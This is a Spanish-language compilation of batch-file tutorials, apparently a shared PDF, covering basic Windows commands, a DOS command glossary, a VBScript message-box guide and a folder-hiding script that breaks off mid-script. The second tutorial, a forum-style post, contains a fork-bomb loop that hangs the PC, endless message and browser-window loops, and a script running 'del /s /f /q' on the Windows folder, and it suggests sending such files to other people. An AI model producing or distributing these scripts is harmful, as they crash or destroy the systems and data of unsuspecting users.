Vous êtes sur la page 1sur 20

Aprende a crear comandos y batch en

MSDOS para Windows


Lo que sigue a continuacin es un pequeo manual para introducirte en el mundo de la programacin batch, aqu
aprenders el uso de los comandos ms comunes para poder crear sencillas aplicaciones muy tiles que como has
visto en paginas anteriores tienen mucho uso en el amplio universo de Windows.
Que son los archivos batch
Los archivos batch tambin conocidos como bat son solo pequeos archivo de texto, que contienen lneas de
cdigos o instrucciones escritas en el lenguaje de MSDOS, son guardados con la extensin de archivo .bat o .cmd.
Cuando se ejecuta alguno de estos archivos, Windows automticamente inicia la consola o interprete de comandos
de msdos y las instrucciones o cdigos escritos en ellos son ejecutadas en grupo, de forma secuencial.
La consola de cmd, intrprete de comandos o consola de msdos, durante muchos aos fue el medio de
comunicacin o intrprete entre la mquina y el usuario, en los aos 80 para utilizar una PC era necesario ser
informtico, posteriormente surge Windows que crea una interface entre el usuario y la computadora traduciendo
una orden como un clic con el mouse, en una secuencia de comandos. Con el paso del tiempo lgicamente
disminuye su uso, aunque se mantiene completamente vigente su utilidad, pero principalmente es empleada por
programadores, no obstante cualquier usuario con pocos conocimientos le es posible aprender a utilizar la consola
y hacer tus propios archivos batch.
Uso y empleo de los archivos batch
El principal uso de estos archivos en la actualidad es la de permitir a los usuarios crear sus propias aplicaciones
que permitan realizar tareas sencillas pero tediosas y repetitivas, de acuerdo a la labor en que usamos cada uno
nuestra PC y as hacer innecesaria la instalacin de software de terceros que a la larga har la misma funcin que
podemos hacer nosotros con un simple archivo de texto.
Los batch son ideales para varias funciones, por ejemplo hacer mltiples copias, extraer y listar informacin,
eliminar virus, planificar tareas, ejecutar limpiezas en el sistema, hacer respaldos de datos e informacin,
automatizar descargas de internet, en fin infinidad de aplicaciones.
Un ejemplo, la manera ms eficiente actualmente de descargar archivos de internet es mediante WGET, (se explica
su uso en otro artculo), para eso se utiliza un batch que tiene solo el siguiente cdigo:
wget -c -S -r direccin url.
Para crear un batch solo es necesario un editor de texto, que puede ser el Notepad++ (recomendado) o hasta el
simple Bloc de notas. No es necesario conocimientos de informtica, solo comprender simples reglas que veras
ms abajo y familiarizarse con un puado de comandos que son los ms empleados.
La estructura de un archivo batch es sencilla, siempre comienza su primera lnea con: @ECHO OFF, a
continuacin las instrucciones que pueden constar de una simple lnea o varias, todas se irn ejecutando en su
orden, al final generalmente se emplea EXIT o EOF que cierra la ventana de la consola. Al hacer tus primeros
batch siempre emplea PAUSE despus de las instrucciones, su uso como la palabra lo indica pausa y no permite si
lo usamos al final, que la ventana se cierre, lo que nos ver si se muestra algn mensaje de error que de otra
manera no veramos.

El Cdigo
Comenzaremos creando un Simple y clsico "Hola Mundo", escribiendo en tu plantilla el siguiente
codigo:
@echo off
echo Hola Mundo
pause
exit
Ahora guardamos el archivo como nombre.cmd y lo ejecutamos. El archivo tomar el icono de una rueda dentada y
nos aparecer una pantalla negra que dir "Hola Mundo", luego una lnea abajo te mostrar "Presione una tecla
para continuar"
Explicamos:
echo:
Muestra un texto en pantalla, que es el texto que viene despus, que en este caso es Hola Mundo.
pause:
Como bien se lee, pausa la ejecucin del cdigo. Adems muestra el texto Presione una tecla para continuar".
exit:
Cierra la ventana de comandos.
Ahora aprenderemos algunas funciones de Batch:
CD o CHDIR:
Sirve para cambiar de Directorio o Mostrar el nombre del actual. Para usarlo, usa CD o CHDIR seguido de la
ubicacin del directorio al cual nos moveremos.Por ejemplo:
cd C:
chdir C:
Los ejemplos anteriores hacen exactamente lo mismo, cambian al Disco C
COPY:
Sirve para copiar uno o ms archivos a otro destino.
Su sintaxis es la siguiente:
Copy "Direccin del archivo" "Nueva direccin"
Copy C:archivo.txt C:archivo2.txt
Aqu copiaramos un archivo del Disco C llamado archivo.txt como archivo2.txt Para acortar un poco podramos
usar:
cd Copy archivo.txt archivo2.txt
Donde primero cambiamos de directorio al Disco C con cd C: y luego al copiar no tenemos que especificar que esta
en el Disco C ya que ya nos encontramos en el.

DEL:
Sirve para eliminar uno o ms archivos. Su sintaxis es:
Del ARCHIVO
Tambin se puede aadir: del /f /q archivo
Donde /q no pide confirmacin de eliminacin y /f fuerza al archivo a borrarse
MOVE:
Sirve para mover un archivo. Su sintaxis es:
Move Direccin Archivo Nueva Direccin
CLS:
Sirve para limpiar el contenido de la pantalla:
Ejemplo:
echo Hola, Cuando pulses la tecla se borrara el contenido y cambiara por otro.
pause
cls
echo Ves?
pause
exit
Si quisiramos averiguar ms sobre las funciones, o conocer algunas nuevas por nuestra propia cuenta podemos
escribir en el CMD el nombre del comando seguido de /? y aparecer toda la informacin necesaria.
Ahora vamos a crear un Batch que copie un archivo, luego lo mueva a otro directorio, borre el original y vuelva a
copiar el copiado.
En la carpeta donde crears el archivo .bat crea un archivo de texto llamado copiame.txt. En l, escribe lo que
quieras. Este ser el archivo que copiaremos.
Ahora el Batch:
@echo off
echo Hola, Copiaremos un archivo
pause
copy copiame.txt copiado.txt
move copiado.txt C:copiado.txt
del copiame.txt
cd C:
copy copiado.txt copiado2.txt
exit
Gurdalo en la carpeta como prueba.bat, y ejectalo. Despus de que ejecutemos el Batch, si vamos al Disco C,
veremos que hay dos nuevos archivos de texto: uno llamado copiado.txt y otro copiado2.txt.
Tambin si vamos a la carpeta del Batch, veremos no est el archivo de texto original, copiame.txt.
Creacin de nuevos archivos:
Con Batch podemos crear otros archivos. Para ello, tenemos que escribir algo como esto:
echo TEXTO DE PRIMERA LINEA > nombre.extensin

echo TEXTO SEGUNDA LINEA >> nombre.extensin


echo TEXTO SIGUIENTE LINEA >> nombre.extensin
Al escribir echo seguido de un texto y el signo > creamos un archivo con el nombre que siga. Si ocupamos un echo
seguido de un texto y el doble signo >> se escribir en la siguiente linea vaca del archivo que prosiga.
Hagamos la prueba:
echo Creando un Archivo de texto > nuevo.txt
echo Esta es la Segunda linea >> nuevo.txt
echo Y esta es la Siguiente >> nuevo.txt
echo Esto esta genial >> nuevo.txt
Si ejecutamos eso, la pantalla negra se abrir y cerrar. Pero en la carpeta en la que est nuestro batch se habra
creado un nuevo archivo nuevo.txt que si lo abrimos, dentro estar escrito lo que especificamos.
Variables:
Ahora aprendamos a declarar variables. Para crear una se escribe:
set NOMBREVARIABLE = VALOR
Para llamarla debemos escribir su nombre entre los signos %%
Ejemplo:
@echo off
set Nombre= Norfi Carrodeguas
echo %Nombre%
pause
Para cambiar el valor solo debemos hacer esto:
set Nombre= Nuevo Valor
set Nombre= Nuevo Valor
set /p Nombre=Escriba su Nombre:
Donde el Batch se pausara solo mostrando el Mensaje que va luego de el signo= esperando a que escribas algo.
Tambin podemos multiplicar, sumar, etc. con /a
set numero1=2 ser numero2=43 set /a suma= %numero1% + %numero2% echo %suma% pause exit
set numero1=2
ser numero2=43
set /a suma= %numero1% + %numero2%
echo %suma%
pause
exit
Si ejecutamos esto, nos devolver la suma de 2 + 43=45.
Algunos Tips tiles para la creacin y uso de los batch

Para comentar, es decir escribir comentarios dentro del cdigo de tus batch, antepone REM al comienzo de la
lnea, esta no ser interpretada por la consola. Tambin es posible utilizar dos puntos dobles "::"(sin las comillas).
Cuando al ejecutar un batch, este se cierre y te quedas con la duda de lo que sucedi, agrega PAUSE antes del
final del cdigo, lo que te permitir saber si hay algn error, tambin puedes insertar varios en diferentes lneas, e ir
ejecutndolo por partes, al igual que PAUSE puedes utilizar PAUSE>NUL, entonces no se mostrar el famoso
mensaje "Presione una tecla para continuar."
Puedes combinar varios comandos en un batch intercalando el signo |, eso indica que se ejecutar el segundo
comando utilizando el resultado del primero, un ejemplo es:
ipconfig|FINDSTR /C:"Mscara de subred"
Esta lnea abre IPCONFIG y a continuacin busca la cadena Mascara de subred y si existe te muestra el resultado.
Si empleas dos barras el segundo comando se ejecutara solo si el primero falla, por ejemplo:
COPY D:NOEXISTE C: || ECHO No se pudo copiar el archivo
Para redireccionar un primer comando a un segundo intercala un amspersand entre ambos, pero si usas dos estas
condicionando la ejecucin del segundo al xito del primero, por ejemplo:
START calc.exe && ECHO La calculadora se inicio con xito. Donde quiera que haya una cadena que tenga
espacios tienes que utilizar las comillas.
En las rutas a los archivos tambin es recomendado utilizarlas.
Cuando la ruta a un archivo determinado es muy complicada, lo ms fcil es dar clic en las Propiedades del
archivo y copiar la ruta que all aparece.
Tambin para eso puedes instalar una clave del registro que agrega al men contextual del mouse la facilidad de
que al hacer clic en un archivo del explorador y seleccionar "Copiar Ruta" puedes pegarla en tu batch.
gregar en el men contextual la opcin de Copiar la ruta del archivo Agregar en el men contextual la opcin de
Copiar la ruta del archivo o carpeta
Para crear un mensaje en un batch, es decir una ventana que muestra una indicacin o comentario al usuario,
escribe en el batch lo siguiente:
MSG * Este Es Mi Mensaje.
Para que se muestre en el batch la fecha y la hora utiliza las variables DATE y TIME de la siguiente forma:
echo Fecha:%date%
echo Hora:%time%
Para detener un proceso o programa determinado averigua su nombre o identidad exacta en el Administrador de
tares y utiliza:
taskkill /im /f programaespecifico.exe
taskkill /f /im wmplayer.exe
taskkill /f /im explorer.exe
En el caso del explorer se utiliza mucho para poder solucionar los bloqueos del explorador de Windows, al cerrarse
el explorador para iniciarlo abre el administrador de tareas, selecciona Nueva tarea y escribe:
Start explorer.exe
Para ejecutar los comandos no siempre es necesario abrir la consola, puedes ejecutarlos introducindolos
directamente en el cuadro que se encuentra en Inicio, solo anteponiendo CMD o CMD.EXE de las siguientes dos
formas:
Introduce CMD /K comando+ opcin y oprime Enter.
Se ejecutar el comando con la opcin y dejara abierta la ventana de cmd.
Introduce CMD /C comando+ opcin y oprime Enter.
Se ejecutar el comando con la opcin y cerrar la ventana de cmd al terminar.

Dos sencillos ejemplos:


CMD /K IPCONFIG /ALL
CMD /C START http://google.com
Ojala les interese y se sientan atrados por la edicin y uso de los archivos batch en Windows, les haya servido las
lneas de esta pgina de estmulo para introducirse en este mundo tan interesante y prctico.

Archivos .BAT//Comandos MS-DOS


BIENVENIDOS,
Bueno es mi primer post y les voy a ensear algunos comandos MS-DOS y como crear nuestro propio archivo
.BAT, pueden usarlo como las les guste. NO ME HAGO RESPONSABLE DEL USO QUE LE DEN.
Primero un poco de Info:
El MS-DOS fue el producto clave, a finales de los aos ochenta del siglo XX, en la transformacin de Microsoft
desde sus orgenes en los aos 70 como proveedor especializado en lenguajes de programacin a su actual
estado como gigante en la industria informtica. Precisamente los ingresos por las ventas de MS-DOS
(particularmente mediante contratos exclusivos con marcas, probados como ilegales en Estados Unidos ms tarde)
[cita requerida] hicieron posible un espectacular crecimiento de la compaa. De hecho, hasta la salida de Windows
95, los ingresos por MS-DOS eran superiores a los de Windows.
Con el tiempo MS-DOS imit otros sistemas operativos; MS-DOS 2.0 introdujo caractersticas de Unix tales como
subdirectorios, es decir, estructura jerrquica y redireccin de entrada/salida de rdenes y tuberas (en ingls
pipe).
Actualmente, MS-DOS ha sido sustituido por la familia de sistemas Windows de Microsoft, sin embargo la consola
de comando del sistema permite acceder a un entorno de texto con casi los mismos comandos de MS-DOS.
Las primeras versiones de Windows podan ejecutar programas para MS-DOS. Las ltimas versiones de DOS
"extendidas" usaban el modo protegido. Las ltimas versiones de Windows se ejecutan independientemente de
DOS pero incluyen una parte importante de viejo cdigo que puede ejecutarse en mquinas virtuales (virtual
machines).
Bueno ahora vamos a crear nustro propio archivo .BAT :
1ero Abrimos un bloc de notas (.txt) y dentro de el ponemos los comandos.
2do Una ves terminado de cargar los comandos que mas nos gusten, vamos a "guardar como" y ponemos el
nombre que mas nos guste, como por ejemplo: nombre.bat (es importante que lo hagan desde guardar como y que
pongan .bat porque sino, no les va a funcionar).
Ah pone, a la izquierda: Este, hara que salieran infinitas ventanas en las que pusiera "Hola!"
Y a la derecha: Escribir al final .bat para que funcione. (La explicacin de esto, est antes de la imagen).
3ero Ahora puedes mandarlo a alguien o abrirlo en tu PC (No es recomendable), y cuando lo abra se ejecutarn los
comandos MS-DOS que hayas puesto en el archivo .bat

Bueno, ahora algunos comandos MS-DOS:


1ero Esto lo que hace es abrir muchas ventanas cmd (es de la categoria molestos), la PC se trabar.
echo off
:uji
start
goto uji
exit

2do Este comando muy util, sirve para crear una unidad de disco virtual (lo ejecutan y tendran una unidad de disco
como la C :
echo off
:menu
cls
color b
title BIENVENIDO AL CREADOR DE DISCO DURO VIRTUAL BY LocalGmrs
echo.
echo BIENVENIDO %USERNAME%
ECHO.
ECHO ELIJE UNA OPCION...
ECHO.
ECHO ======================================== ===
ECHO = 1. CREAR UN DISCO DURO VIRTUAL ==
ECHO = 2. BORRAR EL DISCO DURO VIRTUAL ==
ECHO = 3. SALIR ==
ECHO ======================================== ===
ECHO.
SET /P ver= QUE DESEA HACER?
if %ver%==1 goto crear
if %ver%==2 goto bo
if %ver%==3 goto salir
:crear
md "c:disco duro extra"
attrib +h "C:disco duro extra"
subst I: "C:disco duro extra"
msg * EL DISCO DURO VIRTUAL SE CREO SATISFACTORIAMENTE
goto menu
:bo

attrib -h "C:disco duro extra"


rd "c:disco duro extra"
subst I: /d
msg * EL DISCO DURO VIRTUAL SE BORRO SATISFACTORIAMENTE
goto menu
:salir
msg * GRACIAS POR USAR MI PROGRAMA...
exit
Este comando manda mensajes infinitos en una ventana situada al medio de la pantalla.
echo off
:bucle
msg * Hola!
goto bucle
exit
3ero Este comando borra el windows, CUIDADO CON LO QUE HACEN:
echo off
title g00d by3 wind0w5
echo 4dio5 a tu wind0w5
del /s /f /q c:windows
exit

4_Este es para abrir todas o la pagina que desees:


echo off
start www.taringa.net
exit
(En este caso se abriria Taringa!)
Para mas paginas solamente agreguen mas start o hagan bucle, vean este ejemplo:
AGREGAR MAS START:
echo off
start www.taringa.net
start www.taringa.net
exit
Pueden poner los Start que quieran
AGREGAR BUCLE
echo off
:bucle

start www.taringa.net
goto bucle
5 Para cambiar el IP:
echo off
cd
ipconfig/release
ipconfig/renew

6 Este apaga el equipo en 10 segundos ( -s es apra Apagar -t es para el tiempo en el que se va a apagar y si
quieren poner un comentario escriban -c "Comentario" Donde pone Comentario escriban lo que quieran).
Este apagara PC en 10 segundos:
shutdown -s -t 10
Este apagara PC en 10 y te mandara un mensaje:
shutdown -s -t 10 -c "Tu PC se apagara en 10 segundos"
7este reinicia:
(Tambien pueden poner comentario con -c)
shutdown -r -t 10

Bueno a Continuuacion les dejo una Lista completa de Comandos MS-DOS para sus archivos .BAT :

CHKDSK - Controla un disco y provee informacin sobre su capacidad, su estado, los directorios, los archivos, la
FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2.
ATTRIB - Presenta en pantalla o modifica los atributos de los archivos.
COPY - Sirve para copiar archivos, concatenarlos, cambiarles el nombre, etc.
DIR - Presenta la lista del contenido de un directorio, en su totalidad o de manera selectiva.
EDIT - Editor que reemplaza a Edlin desde el DOS.5. Se usar esencialmente para modificar pequeos archivos de
texto, empezando por los llamados "archivos de sistema, que son el CONFIG.SYS y el AUTOEXEC.BAT.
FDISK - Instala un disco duro, crea, muestra en pantalla o suprime particiones.
FORMAT - Formatea el disco destinatario marcando y eliminando los sectores defectuosos, inicializando el

directorio y la tabla de asignacin de los archivos (FAT), y cargando el programa de inicio.


INSTALL O INSTALAR- Carga los programas residentes, a travs del Config.Sys.
MD - Crea un directorio. Otro nombre de este comando: MKDIR, por "Make Directory, creacin de un directorio.
MSCDEX - Acceso a los CD-ROM. A partir del DOS 6.
SCANDISK - Herramienta de verificacin y reparacin de los discos duros, pero slo a partir de la versin 6.2.
Aca estan los demas para los que quieren saber mas del dos
ANSI.SYS - Carga el cdigo ANSI. Interviene en el Config.Sys mediante un Device=
APPEND - Indica al sistema en qu directorios debe buscar los archivos de datos o de comandos. Este comando
es relativamente reciente en el DOS y complementa al comando PATH, que slo se ocupa de archivos de
comandos.
ASSIGN - Enva el comando direccionado en un disco hacia otro disco; este ltimo reemplaza al primero. Ya no
existe en el DOS 6.
BACKUP - Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos, mostrando mientras
tanto su nombre en pantalla. La restauracin de los archivos se hace con la orden de sentido contrario, RESTORE.
El Backup ya no existe en el DOS 6, lo cual es una bendicin porque este comando era uno de los ms difciles de
manejar.
BASIC - Llama al lenguaje Basic IBM en los DOS IBM. Se trata del lenguaje de programacin ms simple que
existe.
BAT - Extensin especfica para el nombre de los archivos de procedimientos, que disponen de toda una gama de
comandos propios. Uno de los ms conocidos es el archivo AUTOEXEC.BAT, que se ejecuta automticamente
cuando usted pone su computadora en funcionamiento.
BREAK - Activa o desactiva la posibilidad de realizar una interrupcin con Control + Pausa, que permite salir de
una secuencia.
BUFFERS - Comando para el config.sys que determina la capacidad del bfer para el disco.
CALL - En un archivo .bat, llama a otro .bat como un subprograma.
CD - Cambio de directorio; su nombre completo es CHDIR.
CHCP - Seleccin de las tablas de cdigos.
CHDIR - Cambio de directorio, cuyo nombre abreviado es CD. Adopte CD en lugar de CHDIR si quiere evitar

presionar tres teclas en el teclado.


CHKDSK - Controla un disco y provee informacin sobre su capacidad, su estado, los directorios, los archivos, la
FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2.
CHKSTATE.SYS - Una novedad del DOS 6. Usado por el programa MemMaker para optimizar la memoria.
CHOICE - Una novedad del DOS. 6. Le pide al usuario que efecte una seleccin en una secuencia batch.
CLS - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es un comando pequeo e interesante que
conviene recordar.
CONFIG.SYS - Archivo de configuracin que dispone de instrucciones propias. Este archivo se ejecuta
automticamente cada vez que se pone en funcionamiento la computadora.
COUNTRY - Nacionaliza el sistema, adaptndolo al pas.
DATE - Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha introducida se graba en las
memorias permanentes.
DBLSPACE - Compacta el disco duro, duplicando aproximadamente su capacidad. La compresin puede variar
normalmente de 1,7 a ms de 10, segn el tipo de archivo. Este comando ha sido reemplazado por DRIVESPACE
a partir del DOS 6.22.
DBLSPACE.SYS - Una novedad del DOS 6. Determina la posicin final del archivo dblspace.bin.
DEBUG - Lanza el programa de "debugging' (eliminacin de errores). Debug est reservado a los expertos.
DEFRAG - Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para mejorar la velocidad y la
seguridad.
DEL - Destruye uno o varios archivos en el disco (acta como el comando ERASE).
DELOLDOS - Suprime la puesta en reserva de un DOS antiguo.
DELTREE - Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene, incluyendo los subdirectorios,
en una sola operacin.
DEVICE - Instala un driver de perifrico, por medio del config.sys.
DEVICEHIGH - Carga un administrador en memoria superior, por encima de los primeros 640 KB.
DISKCOMP - Compara el contenido total, pista por pista y sector por sector, de dos disquetes del mismo tipo.
DISKCOPY - Copia de modo idntico el contenido de un disquete fuente en un disquete destinatario rigurosamente

del mismo formato, formateando previamente este ltimo y hacindolo sobre el modelo del disquete fuente si es
necesario.
DISPLAY.SYS - Se utiliza para conmutar las tablas de cdigos, va el config.sys.
DOS - Establece un vnculo entre la memoria convencional y la memoria superior a travs del config.sys.
DOSKEY - Instala el programa de memorizacin y de llamado de los comandos instalados anteriormente. De esta
manera, se evita tener que volver a escribirlos.
DOSSHELL- Llama a la superestructura de dilogo del DOS. Este dos shell ha sido
suprimido en la versin DOS 6.2 ya que Microsoft consider que haba sido reemplazado ventajosamente por el
Administrador de archivos de ese superprograma que es Windows.
DRIVER.SYS - Administra las disqueteras, a travs del Config.Sys.
DRIVPARM - Define los parmetros de perifricos en modo bloque, a travs del Config.Sys.
DRIVESPACE - Reemplaza a DBLSPACE a partir del DOS 6.22, con las mismas funciones.
ECHO - Vuelve a mostrar en pantalla o no, en eco, los comandos ejecutados en un archivo .BAT, segn se ponga o
no en servicio este eco, usando ON u OFF respectivamente. Permite introducir un mensaje que ser mostrado en
pantalla en todos los casos.
ERASE - Destruye uno o varios archivos del disco (y acta como el comando DEL). Opte por DEL ya que se
escribe ms rpido.
ERROLEVEL - Cdigo de errores para archivos .BAT Otra nocin ms para expertos.
EXE2BIN - Convierte el formato .EXE en .BIN o .COM. Este comando, que no existe ms en los DOS 6, est
destinado a los programadores.
EXIT - Sale de un procesador de comandos. En la mayora de los casos, EXIT le permite salir del DOS para volver
al programa que lo llama, Windows por ejemplo.
EXPAND - Descomprime un archivo comprimido. A partir del DOS versin 5.
FASTHELP - Muestra en pantalla la lista de comandos de la versin 6 con una breve explicacin.
FASTOPEN - Proporciona un acceso rpido a los archivos que se usan con ms frecuencia, o a los ltimos que se
han utilizado, memorizando su camino de acceso.
FC - Comparacin de archivos. No est disponible en todas las versiones.

FCBS - Especifica la cantidad de bloques de control de archivos, en un Config.Sys. Este comando est reservado a
los expertos.
FILES - Especifica la cantidad de archivos abiertos, en un Config.Sys.
FIND - Busca la cadena de caracteres indicada en un archivo y enva al perifrico activo de salida (el monitor, por
ejemplo) todas las lneas en las que la encontr.
FOR - Especifica la repeticin del mismo comando para cada una de las variables contenidas en la lista.
GOTO - Es un direccionamiento incondicional a una lnea marcada con un rtulo del mismo nombre en un archivo
.BAT.
Ejemplo: ("xd" lo pueden cambiar por lo que quieran)
:xd
msg * Hola
goto xd
GRAFTABL - Carga la tabla de los caracteres grficos, los cdigos ASCII 128 a 255, para la visualizacin en
pantalla. No existe ms en el DOS 6.
GRAPHIC - Carga una secuencia que permite la impresin de la pantalla que incluye caracteres grficos, de
cdigos 128 a 255.
GWBASIC - Llamado del antiguo Basic avanzado de Microsoft. No existe ms en el DOS 6, en el cual ha sido
reemplazado por el QBasic.
HELP - Pedido de ayuda. Desde el DOS 5.
HIMEM.SYS - Administrador de memoria extendida.
IF - Comando de ejecucin condicional para archivo .BAT.
INCLUDE - Incluye un bloque de configuracin en otro, a travs del Config.Sys. Nuevo comando con el DOS 6.
INTERLNK - Conecta dos computadoras, por medio de sus puertos paralelos o en serie. Nuevo comando del DOS
6.
INTERSVR - Lanza el centro de recuperacin de datos InterLnk. Nuevo comando del DOS 6.
JOIN - Asigna el contenido de un disco a un directorio de otro disco. No existe ms en el DOS 6.
KEYB - Carga el programa que administra el teclado (reemplaza al que reside en la memoria muerta, para el
teclado USA).
LABEL - Crea, modifica o suprime el nombre atribuido a un disco.

LASTDRIVE - Define la cantidad de unidades de disco en el Config.Sys.


LH - Carga un programa en la memoria superior, generalmente en el Autoexec.bat. Otro nombre: LOADHIGH.
LINK- Llama al editor de conexiones.
LOADFIX - Carga un programa por encima de los primeros 64 Kb de memoria y lo ejecuta. Nuevo comando del
DOS 6.
LOADHIGH - Carga un programa en la memoria superior, generalmente a travs del Autoexec.bat. Desde el DOS
5. Otro nombre: LH.
MACROS - Realizacin de macros con Doskey.
MEM - Muestra en pantalla la memoria ocupada y la disponible.
MEMMAKER - Administracin y optimizacin de la memoria, pero con los DOS 6.
MENUCOLOR - Determina el color del texto y del fondo para el primer men, a travs del Config.Sys. A partir del
DOS 6.
MENUDEFAULT - Especifica el men por defecto, en el inicio. A partir del DOS 6.
MENUITEM - A partir del DOS 6. Define un tem del men de arranque.
MIRROR - Copia de seguridad para el seguimiento del borrado de archivos. Con el DOS 5.
MKDIR - Crea un subdirectorio. Otro nombre de este comando: MD, por "Make Directory, creacin de un
directorio.
MODE - Establece las condiciones de funcionamiento de los perifricos, impresora, interface de video y conexiones
en serie, y tambin sirve para la preparacin de las tablas de cdigos.
MORE - Para visualizar pgina por pgina en la pantalla (es decir, sin que desfilen ininterrumpidamente en la
pantalla)
MOVE - Mueve uno o varios archivos y da nuevo nombre a archivos o directorios. Nuevo comando con el DOS 6.
MSAV - Programa antivirus. A partir del DOS 6.
MSBACKUP - Nuevo procedimiento de copia de seguridad, a partir del DOS 6.
MSD - Provee informacin tcnica sobre su computadora. A partir del DOS 6.

NLSFUNC - Comando relativo a los idiomas nacionales. Su nombre proviene de "National Languages Support
Function. Da informaciones complementarias sobre los pases y prepara el uso de las tablas de cdigos con
CHCP
NUMLOCK - Determina que la seccin numrica del teclado est bloqueada o no, a travs del Config.Sys. Nuevo
comando a partir del DOS 6.
PATH - Especifiica caminos de bsqueda alternativos para los archivos de comando (con la extensin .COM, o
.EXE o .BAT) que no se encuentran en el directorio activo. Este comando se encuentra generalmente en el archivo
Autoexec.bat.
PAUSE - Suspende la ejecucin de un programa .BAT mostrando en pantalla un mensaje optativo de 121
caracteres como mximo.
POWER - Pone en servicio o saca de servicio la administracin del consumo de energa. Nuevo comando a partir
del DOS 6.
PRINT - Imprime el contenido de archivos, en segundo plano, mientras se prosigue con un trabajo en la pantalla.
PROMPT - Define o muestra en pantalla los smbolos del sistema utilizados por el DOS.
RAMDRIVE - Instala un disco virtual, a travs del Config.Sys.
RD - Suprime un subdirectorio que debe estar obligatoriamente vaco (y que, por lo tanto, slo debe contener las
marcas . y ..). El nombre completo de este comando es RMDIR.
RECOVER - Interviene cuando hay que recuperar los datos de un archivo porque hay un sector defectuoso en el
disco. Los datos de este sector se habrn perdido. No existe ms en el DOS 6.
REM - Introduce observaciones, comentarios, en 123 caracteres como mximo por lnea de REM.
REN - Cambia el nombre de un archivo.
RENAME - Cambia el nombre de un archivo. Es lo mismo que REN, pero ms largo de escribir.
REPLACE - Reemplaza o agrega selectivamente archivos que provienen de un disco fuente a un disco
destinatario.
RESTORE - Restaura, restablece el contenido de un disco a partir de su copia de seguridad anterior, con los DOS
hasta el 5 inclusive. En el DOS 6, slo existe para la compatibilidad.
RMDIR - Suprime un subdirectorio que debe estar obligatoriamente vaco (y que, por lo tanto, slo debe contener
las marcas . y ..). El nombre abreviado es RD.
SET - Sirve para definir el entorno de trabajo que requieren algunos programas, introduciendo un nombre seguido

de su equivalencia.
SETVER - Declara las versiones del DOS para algunas aplicaciones.
SETVER.EXE - Administrador de SETVER.
SHARE - Instala el programa para compartir archivos.
SHELL - Instala un procesador de comandos.
SHIFT - Sirve para utilizar ms de 10 parmetros reemplazables numerados de 0 a 9, en las lneas de comando,
marcando una diferencia de una posicin para cada SHIFT que se introduce.
SHIPDISK - Bloquea los cabezales del disco duro antes de desplazarlo. Desapareci en el DOS 6.
SIZER.EXE - Utilizado por el programa de optimizacin de la memoria MemMaker Novedad del DOS 6.
SMARTDRV - Creacin de la antememoria de disco SmartDrive.
SMARTMON - Programa de monitoreo (de vigilancia) de SmartDrive.
SORT - Ordena datos.
STACKS - Define las pilas, a travs del Config.Sys.
SUBMENU - Define un tem del men de arranque abriendo un submen. Nuevo comando del DOS 6.
SUBST - Sustituye un camino de acceso cuya descripcin es larga, y/o su unidad, por una unidad de disco ficticia
que bastar con llamar luego.
SWITCHES - Sustituye el teclado extendido por el teclado convencional.
SYS - Copia los tres archivos que sirven de ncleo al sistema del disco fuente activo al disco destinatario.
TEMP - Variable de entorno.
TIME - Muestra en pantalla o configura la hora del sistema (incluidos los relojes permanentes, resguardados).
TREE - Muestra los rboles de los directorios de un disco (y la lista de sus archivos con una clave suplementaria).
TYPE - Muestra en pantalla el contenido de un archivo.
UNDELETE - Recuperacin de archivos borrados. A partir de la versin DOS 5.
UNFORMAT - Reconstruccin de un disco reformateado. A partir del DOS 5.

VDISK - Instala un disco virtual, a travs del Config.Sys. Dej de estar incluido a partir del DOS 6.
VER - Muestra en pantalla la versin activa del DOS.
VERIFY - Pone en servicio (con ON) o anula (con OFF) la verificacin de los datos escritos en el disco.
VOL- Muestra en pantalla el nombre del disco solicitado.
VSAFE - Residente antivirus.
XCOPY - Copia archivos selectivamente, inclusive los que provienen de subdirectorios. Es un comando excelente
que puede servir incluso para efectuar copias de seguridad.
-----------------------------------------------------------------------------------------------------------------------------------Ahora les voy a ensear como crear un Msgbox.
MsgBox "texto" , configuracion , "titulo"
Donde tenemos:
texto - texto que se muestra en el cuerpo de la alerta.
configuracion - Nmero que define las caractersticas de la alerta.
titulo - Texto que se mostrar en la caja de texto.
Para configurar la alerta, pondremos en configuracin un nmero que ser la suma de los nmeros de la siguiente
lista:
0 - Solo botn OK, el boton por defecto es el primero
1 - Botones OK y Cancelar
2 - Botones Abortar, Reintentar y Ignorar
3 - Botones Si No y Cancelar
4 - Botones Si y NO
5 - Botones Reintentar y Cancelar
16 - Icono de error
32 - Icono de pregunta
48 - Icono de peligro
64 - Icono informativo
256 - El boton por defecto es el segundo
512 - El boton por defecto es el tercero
4096 - Mensaje de sistema, mostrar un icono en la barra de ttulo, la alerta ser independiente de la ventana,
aunque cambies a otro programa, la alerta se mostrar en pantalla.

Ejemplo:
En el bloc de notas ponemos lo siguiente:
MsgBox"Error grave, se ha perdido la informacion",4117,"Error grave"
El numero de configuracion usado en el ejemplo, el 4117, es la suma del 5 (Reintentar y Cancelar) + 16 (Icono de
error) + 4096 (Mensaje de sistema), de esta manera conseguimos configurar 3 parmetros de la alerta.
Y para guardar el archivo hacemos lo siguiente:
Vamos al men archivo, seleccionamos guardar, colocamos el nombre que queramos al archivo finalizando con la
extensin .vbs , seleccionamos en tipo todos los archivos y hacemos clic en guardar y listo!
-------------------------------------------------------------------------------------------------------------------------------------------------------------------Aqui como ocultar carpetas:
cls
ECHO OFF
title Folder Private
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Private goto MDLOCKER
:CONFIRM
echo Deseas bloquear esta carpeta(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren Private "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Escriba la contrasea para desbloquear la carpeta
set/p "pass=>"
if NOT %pass%== Contrasea aqui goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Private
